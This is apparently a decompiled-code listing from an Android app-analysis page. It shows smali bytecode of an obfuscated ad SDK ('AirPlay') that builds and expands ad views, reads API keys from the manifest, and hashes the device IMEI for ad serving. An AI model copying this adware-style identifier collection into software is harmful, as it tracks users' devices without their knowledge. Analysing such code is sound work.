71 | const-string v1, "medium_rectangle" | |
73 | invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
74 | move-result v1 | |
75 | if-nez v1, :cond_75 | |
77 | const-string v1, "inappad" | |
79 | invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
80 | move-result v1 | |
81 | if-eqz v1, :cond_b7 | |
82 | cond_75: iput-object p2, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
83 | goto_77: | |
84 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
85 | if-eqz v1, :cond_99 | |
87 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
89 | const-string v2, "rich_media" | |
91 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
92 | move-result v1 | |
93 | if-eqz v1, :cond_99 | |
94 | if-eqz p3, :cond_c3 | |
96 | const-string v1, "inline" | |
98 | invoke-virtual {p3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
99 | move-result v1 | |
100 | if-nez v1, :cond_97 | |
102 | const-string v1, "interstitial" | |
104 | invoke-virtual {p3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
105 | move-result v1 | |
106 | if-eqz v1, :cond_c3 | |
107 | cond_97: iput-object p3, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String; | |
108 | cond_99: iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
109 | iput-boolean p5, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z | |
110 | if-eqz p6, :cond_cf | |
111 | iput-object p6, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
112 | goto_a1: | |
113 | const-string v1, "AirplayMraid" | |
115 | const-string v2, "Initializing AdView " | |
117 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
119 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->getDataFromManifest(Landroid/content/Context;)Z | |
120 | move-result v1 | |
121 | if-eqz v1, :cond_b4 | |
123 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredPermission(Landroid/content/Context;)Z | |
124 | move-result v1 | |
125 | if-nez v1, :cond_d4 | |
126 | cond_b4: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
127 | goto_b6: return-void | |
128 | cond_b7: | |
129 | const-string v1, "inappad" | |
130 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
132 | const-string v1, "AirplayMraid" | |
134 | const-string v2, "Invalid banner type. Setting to default: inappad" | |
136 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
137 | goto/16 :goto_77 | |
138 | cond_c3: | |
139 | const-string v1, "inline" | |
140 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->placementType:Ljava/lang/String; | |
142 | const-string v1, "AirplayMraid" | |
144 | const-string v2, "Invalid placement type. Setting to default: inline" | |
146 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
147 | goto/16 :goto_99 | |
148 | cond_cf: | |
149 | const-string v1, "fade" | |
150 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
151 | goto/16 :goto_a1 | |
152 | cond_d4: const-class v1, Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
154 | invoke-static {p1, v1}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z | |
155 | move-result v1 | |
156 | if-nez v1, :cond_e8 | |
158 | const-string v1, "AirplayMraid" | |
160 | const-string v2, "Required BrowserActivty not found in Manifest please add." | |
162 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
163 | const/4 v1, 0x1 | |
164 | iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
165 | try_end_e6: goto/16 :goto_b6 | |
166 | catch_e7: move-exception v1 | |
167 | cond_e8: const/16 v1, 0x8 | |
169 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V |
|
170 | new-instance v0, Lcom/vxjxu/jkhfn1870/UserDetails; | |
172 | invoke-direct {v0, p1}, Lcom/vxjxu/jkhfn1870/UserDetails;-><init>(Landroid/content/Context;)V | |
174 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/UserDetails;->setImeiInMd5()Z | |
175 | move-result v1 | |
176 | if-nez v1, :cond_106 | |
178 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
179 | if-eqz v1, :cond_103 | |
181 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
183 | const-string v2, "Can not serve ad on this device. Device details not found." | |
185 | invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
186 | cond_103: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
187 | goto/16 :goto_b6 | |
188 | cond_106: new-instance v1, Lcom/vxjxu/jkhfn1870/SetPreferences; | |
190 | invoke-direct {v1, p1}, Lcom/vxjxu/jkhfn1870/SetPreferences;-><init>(Landroid/content/Context;)V | |
192 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setPreferencesData()V | |
194 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getBackground()Landroid/graphics/drawable/Drawable; | |
195 | move-result-object v1 | |
196 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable; | |
198 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setClickable(Z)V |
|
200 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setFocusable(Z)V |
|
201 | const/high16 v1, 0x20000 | |
203 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setDescendantFocusability(I)V |
|
205 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread; | |
206 | if-eqz v1, :cond_12b | |
208 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread; | |
210 | invoke-virtual {v1}, Ljava/lang/Thread;->isAlive()Z | |
211 | move-result v1 | |
212 | if-nez v1, :cond_12e | |
213 | cond_12b: | |
214 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V | |
215 | cond_12e: | |
216 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->startBusense(Landroid/content/Context;)V | |
217 | goto/16 :goto_b6 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
3 | if-eqz v1, :cond_9 | |
5 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
6 | const/4 v2, 0x1 | |
7 | iput-boolean v2, v1, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
8 | cond_9: | |
9 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
11 | const-string v2, "expanded" | |
13 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
14 | move-result v1 | |
15 | if-eqz v1, :cond_61 | |
17 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
18 | if-eqz v1, :cond_49 | |
20 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
21 | if-eqz v1, :cond_49 | |
23 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
25 | invoke-virtual {v1}, Landroid/widget/FrameLayout;->getParent()Landroid/view/ViewParent; | |
26 | move-result-object v1 | |
27 | check-cast v1, Landroid/view/ViewGroup; | |
29 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
31 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V | |
33 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
35 | invoke-virtual {v1, p0}, Landroid/widget/FrameLayout;->removeView(Landroid/view/View;)V | |
37 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
38 | iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
40 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View; | |
41 | move-result-object v1 | |
43 | invoke-virtual {v1}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams; | |
44 | move-result-object v1 | |
46 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
48 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
49 | iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
51 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeViewAt(I)V | |
53 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
54 | const/4 v2, 0x0 | |
56 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V |
|
57 | cond_49: | |
58 | const-string v1, "default" | |
60 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V |
|
62 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
63 | if-eqz v1, :cond_57 | |
65 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
67 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V | |
68 | try_end_57: | |
69 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
70 | if-eqz v1, :cond_60 | |
72 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
74 | invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V | |
75 | cond_60: return-void | |
76 | try_start_61: | |
77 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
79 | const-string v2, "default" | |
81 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
82 | move-result v1 | |
83 | if-eqz v1, :cond_8b | |
85 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent; | |
86 | move-result-object v1 | |
87 | check-cast v1, Landroid/view/ViewGroup; | |
88 | const/16 v2, 0x8 | |
90 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V |
|
92 | const-string v1, "hidden" | |
94 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V |
|
96 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
97 | if-eqz v1, :cond_57 | |
99 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
100 | const/4 v2, -0x3 | |
102 | invoke-virtual {v1, v2}, Landroid/os/Handler;->sendEmptyMessage(I)Z | |
103 | try_end_85: goto/16 :goto_57 | |
104 | catch_86: move-exception v0 | |
106 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
107 | goto/16 :goto_57 | |
108 | try_start_8b: | |
109 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
111 | const-string v2, "resized" | |
113 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
114 | move-result v1 | |
115 | if-eqz v1, :cond_db | |
117 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
118 | if-eqz v1, :cond_cb | |
120 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
121 | if-eqz v1, :cond_cb | |
123 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
125 | invoke-virtual {v1}, Landroid/widget/FrameLayout;->getParent()Landroid/view/ViewParent; | |
126 | move-result-object v1 | |
127 | check-cast v1, Landroid/view/ViewGroup; | |
129 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
131 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V | |
133 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
135 | invoke-virtual {v1, p0}, Landroid/widget/FrameLayout;->removeView(Landroid/view/View;)V | |
137 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
138 | iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
140 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View; | |
141 | move-result-object v1 | |
143 | invoke-virtual {v1}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams; | |
144 | move-result-object v1 | |
146 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
148 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
149 | iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
151 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->removeViewAt(I)V | |
153 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
154 | const/4 v2, 0x0 | |
156 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V |
|
157 | cond_cb: | |
158 | const-string v1, "default" | |
160 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V |
|
162 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
163 | if-eqz v1, :cond_57 | |
165 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
167 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V | |
168 | goto/16 :goto_57 | |
169 | cond_db: | |
170 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent; | |
171 | move-result-object v1 | |
172 | check-cast v1, Landroid/view/ViewGroup; | |
173 | const/16 v2, 0x8 | |
175 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->setVisibility(I)V |
|
177 | const-string v1, "hidden" | |
179 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setState(Ljava/lang/String;)V |
|
181 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
182 | if-eqz v1, :cond_57 | |
184 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler; | |
185 | const/4 v2, -0x3 | |
187 | invoke-virtual {v1, v2}, Landroid/os/Handler;->sendEmptyMessage(I)Z | |
188 | try_end_f5: goto/16 :goto_57 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "mContext" # Landroid/content/Context; | |
1 | .prologue | |
2 | try_start_0: | |
3 | invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; | |
4 | move-result-object v6 | |
6 | invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String; | |
7 | move-result-object v7 | |
8 | const/16 v8, 0x80 | |
10 | invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo; |
|
11 | move-result-object v2 | |
13 | iget-object v3, v2, Landroid/content/pm/ApplicationInfo;->metaData:Landroid/os/Bundle; | |
15 | const-string v6, "com.vxjxu.jkhfn1870.APPID" | |
17 | invoke-virtual {v3, v6}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
18 | move-result-object v6 | |
20 | invoke-virtual {v6}, Ljava/lang/Object;->toString()Ljava/lang/String; | |
21 | move-result-object v1 | |
22 | if-eqz v1, :cond_2f | |
24 | const-string v6, "" | |
26 | invoke-virtual {v1, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
27 | move-result v6 | |
28 | if-nez v6, :cond_2f | |
30 | const-string v6, "0" | |
32 | invoke-virtual {v1, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
33 | move-result v6 | |
34 | if-nez v6, :cond_2f | |
36 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->setAppID(Ljava/lang/String;)V | |
37 | cond_2f: | |
38 | const-string v0, "" | |
39 | try_start_31: | |
40 | const-string v6, "com.vxjxu.jkhfn1870.APIKEY" | |
42 | invoke-virtual {v3, v6}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
43 | move-result-object v6 | |
45 | invoke-virtual {v6}, Ljava/lang/Object;->toString()Ljava/lang/String; | |
46 | move-result-object v0 | |
47 | if-eqz v0, :cond_80 | |
49 | const-string v6, "" | |
51 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
52 | move-result v6 | |
53 | if-nez v6, :cond_80 | |
55 | const-string v6, "0" | |
57 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
58 | move-result v6 | |
59 | if-nez v6, :cond_80 | |
60 | new-instance v5, Ljava/util/StringTokenizer; | |
62 | const-string v6, "*" | |
64 | invoke-direct {v5, v0, v6}, Ljava/util/StringTokenizer;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
66 | invoke-virtual {v5}, Ljava/util/StringTokenizer;->nextToken()Ljava/lang/String; | |
68 | invoke-virtual {v5}, Ljava/util/StringTokenizer;->nextToken()Ljava/lang/String; | |
69 | move-result-object v0 | |
71 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->setApiKey(Ljava/lang/String;)V | |
72 | try_end_5e: new-instance v6, Ljava/lang/StringBuilder; | |
74 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
76 | const-string v7, "AppId: " | |
78 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
79 | move-result-object v6 | |
81 | invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
82 | move-result-object v6 | |
84 | const-string v7, " ApiKey=" | |
86 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
87 | move-result-object v6 | |
89 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
90 | move-result-object v6 | |
92 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
93 | move-result-object v6 | |
95 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
96 | try_end_7e: const/4 v6, 0x1 | |
97 | goto_7f: return v6 | |
98 | try_start_80: | |
99 | const-string v6, "airplay" | |
101 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->setApiKey(Ljava/lang/String;)V |
|
102 | try_end_85: goto/16 :goto_5e | |
103 | catch_86: move-exception v4 | |
104 | try_start_87: | |
105 | const-string v6, "AirplaySDK" | |
107 | const-string v7, "Problem with fetching apiKey. Please chcek your APIKEY declaration in Manifest. It should be same as given in SDK doc." | |
109 | invoke-static {v6, v7, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
110 | new-instance v6, Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
111 | const/16 v7, 0x65 | |
113 | invoke-direct {v6, p0, v7}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V | |
115 | const-string v6, "airplay" | |
117 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->setApiKey(Ljava/lang/String;)V |
|
119 | const-string v6, "Please check your APIKEY declaration in Manifest. It must be same as given in doc." | |
121 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V |
|
122 | try_end_9f: goto/16 :goto_5e | |
123 | catch_a0: move-exception v4 | |
125 | const-string v6, "AirplaySDK" | |
127 | const-string v7, "AppId or ApiKey not found in Manifest. Please add." | |
129 | invoke-static {v6, v7, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
131 | const-string v6, "AppId or ApiKey not found in Manifest. Please add." | |
133 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V |
|
134 | goto_ad: const/4 v6, 0x0 | |
135 | goto/16 :goto_7f | |
136 | catch_af: move-exception v4 | |
138 | const-string v6, "AirplaySDK" | |
140 | const-string v7, "Please check your SDK declarations in Manifest. This errors comes when SDK unable to fetch APPID or APIKEY from Manifest. SDK Package Name: " | |
142 | invoke-static {v6, v7, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
144 | const-string v6, "Please check your SDK declarations in Manifest. This error comes when SDK unable to fetch APPID or APIKEY from Manifest." | |
146 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V |
|
147 | goto/16 :goto_ad |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: | |
3 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->clearView()V | |
5 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getRootView()Landroid/view/View; | |
6 | move-result-object v9 | |
7 | const v10, 0x1020002 | |
9 | invoke-virtual {v9, v10}, Landroid/view/View;->findViewById(I)Landroid/view/View; |
|
10 | move-result-object v3 | |
11 | check-cast v3, Landroid/widget/FrameLayout; | |
12 | new-instance v0, Landroid/widget/FrameLayout$LayoutParams; | |
13 | const/4 v9, -0x1 | |
14 | const/4 v10, -0x1 | |
16 | invoke-direct {v0, v9, v10}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
17 | new-instance v8, Landroid/view/View; | |
19 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
20 | move-result-object v9 | |
22 | invoke-direct {v8, v9}, Landroid/view/View;-><init>(Landroid/content/Context;)V | |
24 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams; | |
25 | move-result-object v9 | |
27 | invoke-virtual {v8, v9}, Landroid/view/View;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
28 | new-instance v9, Landroid/widget/FrameLayout; | |
30 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
31 | move-result-object v10 | |
33 | invoke-direct {v9, v10}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;)V | |
34 | iput-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
35 | new-instance v7, Landroid/widget/FrameLayout$LayoutParams; | |
36 | const/4 v9, -0x1 | |
37 | const/4 v10, -0x1 | |
39 | invoke-direct {v7, v9, v10}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
40 | const/16 v9, 0x11 | |
41 | iput v9, v7, Landroid/widget/FrameLayout$LayoutParams;->gravity:I | |
43 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
45 | invoke-virtual {v9, v7}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
47 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent; | |
48 | move-result-object v9 | |
49 | check-cast v9, Landroid/view/ViewGroup; | |
50 | iput-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
51 | const/4 v6, 0x0 | |
53 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
54 | if-eqz v9, :cond_bf | |
56 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
58 | invoke-virtual {v9}, Landroid/view/ViewGroup;->getChildCount()I | |
59 | move-result v4 | |
60 | const/4 v6, 0x0 | |
61 | goto_56: if-ge v6, v4, :cond_60 | |
63 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
65 | invoke-virtual {v9, v6}, Landroid/view/ViewGroup;->getChildAt(I)Landroid/view/View; |
|
66 | move-result-object v9 | |
67 | if-ne v9, p0, :cond_d7 | |
68 | cond_60: iput v6, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewIndex:I | |
70 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
72 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parentViewGroup:Landroid/view/ViewGroup; | |
74 | invoke-virtual {v9, p0}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V | |
76 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
78 | invoke-virtual {v9, p0}, Landroid/widget/FrameLayout;->addView(Landroid/view/View;)V | |
80 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
81 | iget-boolean v9, v9, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z | |
82 | if-nez v9, :cond_9a | |
83 | const/4 v9, 0x5 | |
85 | invoke-virtual {p0, v9}, Lcom/vxjxu/jkhfn1870/MraidView;->addCloseButton(I)Landroid/widget/Button; |
|
86 | move-result-object v1 | |
87 | const/16 v9, 0x6f | |
89 | invoke-virtual {v1, v9}, Landroid/widget/Button;->setId(I)V |
|
90 | new-instance v2, Landroid/widget/FrameLayout$LayoutParams; | |
91 | iget v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
92 | float-to-int v9, v9 | |
93 | mul-int/lit8 v9, v9, 0x32 | |
94 | iget v10, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F | |
95 | float-to-int v10, v10 | |
96 | mul-int/lit8 v10, v10, 0x32 | |
98 | invoke-direct {v2, v9, v10}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V | |
99 | const/16 v9, 0x35 | |
100 | iput v9, v2, Landroid/widget/FrameLayout$LayoutParams;->gravity:I | |
102 | invoke-virtual {v1, v2}, Landroid/widget/Button;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
104 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandedFrameLayout:Landroid/widget/FrameLayout; | |
